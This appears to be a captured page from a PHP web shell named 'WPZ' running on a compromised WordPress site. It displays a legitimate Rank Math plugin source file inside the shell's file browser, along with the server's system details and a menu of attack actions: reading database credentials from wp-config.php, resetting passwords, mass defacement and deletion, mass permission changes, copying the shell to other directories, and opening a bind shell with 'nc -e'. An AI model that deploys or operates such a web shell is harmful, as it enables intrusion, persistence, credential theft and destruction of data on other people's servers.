WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / seo-by-rank-math / includes / rest / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/seo-by-rank-math/includes/rest/class-front.php (4.74 KB)
<?php
/**
 * The Global functionality of the plugin.
 *
 * Defines the functionality loaded both on frontend.
 *
 * @since      1.0.15
 * @package    RankMath
 * @subpackage RankMath\Rest
 * @author     Rank Math <support@rankmath.com>
 */

namespace RankMath\Rest;

use WP_Error;
use WP_REST_Server;
use WP_REST_Request;
use WP_REST_Response;
use WP_REST_Controller;
use RankMath\Admin\Admin_Helper;

defined( 'ABSPATH' ) || exit;

/**
 * Front class.
 */
class Front extends WP_REST_Controller {

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->namespace = \RankMath\Rest\Rest_Helper::BASE;
	}

	/**
	 * Registers the routes for the objects of the controller.
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/disconnectSite',
			[
				'methods'             => WP_REST_Server::READABLE,
				'callback'            => [ $this, 'disconnect_site' ],
				'permission_callback' => [ $this, 'check_api_key' ],
				'args'                => $this->get_disconnect_site_args(),
			]
		);

		register_rest_route(
			$this->namespace,
			'/getFeaturedImageId',
			[
				'methods'             => WP_REST_Server::EDITABLE,
				'callback'            => [ $this, 'get_featured_image_id' ],
				'permission_callback' => function () {
					return \RankMath\Helper::has_cap( 'onpage_general' );
				},
				'args'                => $this->get_featured_image_id_args(),
			]
		);
	}

	/**
	 * Check API key in request.
	 *
	 * @param  WP_REST_Request $request Full details about the request.
	 * @return bool                     Whether the API key matches or not.
	 */
	public function check_api_key( WP_REST_Request $request ) {
		$token = $request->get_param( 'token' );
		$data  = Admin_Helper::get_registration_data();

		return isset( $data['api_key'] ) && $token === $data['api_key'];
	}

	/**
	 * Disconnect website.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 *
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function disconnect_site( WP_REST_Request $request ) {
		Admin_Helper::get_registration_data( false );

		return [
			'code'    => 'site_disconnected',
			'message' => esc_html__( 'Site disconnected successfully.', 'seo-by-rank-math' ),
		];
	}

	/**
	 * Get featured image ID.
	 *
	 * @param WP_REST_Request $request Should include a postId parameter.
	 *
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_featured_image_id( WP_REST_Request $request ) {

		$resp = new WP_REST_Response();

		if ( ! current_theme_supports( 'post-thumbnails' ) ) {
			$resp->set_status( 200 );
			$resp->set_data(
				[
					'success'   => false,
					'message'   => esc_html__( 'The current theme does not have "post-thumbnails" support.', 'seo-by-rank-math' ),
					'featImgId' => 0,
				]
			);
			return $resp;
		}

		$post_id = $request->get_param( 'postId' );
		// Checks whether the current has permission to edit post.
		$post_type_obj = get_post_type_object( get_post_type( $post_id ) );
		if (
			is_null( $post_type_obj ) ||
			(
				! current_user_can( $post_type_obj->cap->edit_post, $post_id ) &&
				! current_user_can( $post_type_obj->cap->edit_others_posts )
			)
		) {
			$resp->set_status( 401 );
			$resp->set_data(
				[
					'success'   => false,
					'message'   => esc_html__( 'Sorry, you don\'t have the required permissions to access this page.', 'seo-by-rank-math' ),
					'featImgId' => false,
				]
			);
			return $resp->as_error();
		}

		$feat_img_id = get_post_thumbnail_id( $post_id ? $post_id : null );
		if ( false === $feat_img_id ) {
			$resp->set_status( 404 );
			$resp->set_data(
				[
					'success'   => false,
					'message'   => esc_html__( 'The post could not be found.', 'seo-by-rank-math' ),
					'featImgId' => false,
				]
			);
			return $resp->as_error();
		}

		$resp->set_status( 200 );
		$resp->set_data(
			[
				'success'   => true,
				'featImgId' => $feat_img_id,
			]
		);
		return $resp;
	}

	/**
	 * Get featured image ID endpoint arguments.
	 *
	 * @return array
	 */
	private function get_featured_image_id_args() {
		return [
			'postId' => [
				'type'              => 'integer',
				'required'          => true,
				'description'       => esc_html__( 'Post ID', 'seo-by-rank-math' ),
				'validate_callback' => [ '\\RankMath\\Rest\\Rest_Helper', 'is_param_empty' ],
			],
		];
	}

	/**
	 * Get disconnect site endpoint arguments.
	 *
	 * @return array
	 */
	private function get_disconnect_site_args() {
		return [
			'token' => [
				'type'              => 'string',
				'required'          => true,
				'description'       => esc_html__( 'Site token', 'seo-by-rank-math' ),
				'validate_callback' => [ '\\RankMath\\Rest\\Rest_Helper', 'is_param_empty' ],
			],
		];
	}
}
namawaktuukuranownerpermaksi
..
class-admin.php 2026-07-21 14:1411.86 KB 76129f60960:kunden-xw-x-----
edt
class-front.php 2026-07-21 14:144.74 KB 76129f60960:kunden-xw-x-----
edt
class-headless.php 2026-07-21 14:144.26 KB 76129f60960:kunden-xw-x-----
edt
class-post.php 2026-07-21 14:145.05 KB 76129f60960:kunden-xw-x-----
edt
class-rest-helper.php 2026-07-21 14:147.83 KB 76129f60960:kunden-xw-x-----
edt
class-sanitize.php 2026-07-21 14:143.55 KB 76129f60960:kunden-xw-x-----
edt
class-setup-wizard.php 2026-07-21 14:144.26 KB 76129f60960:kunden-xw-x-----
edt
class-shared.php 2026-07-21 14:1414.75 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/seo-by-rank-math/includes/rest
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK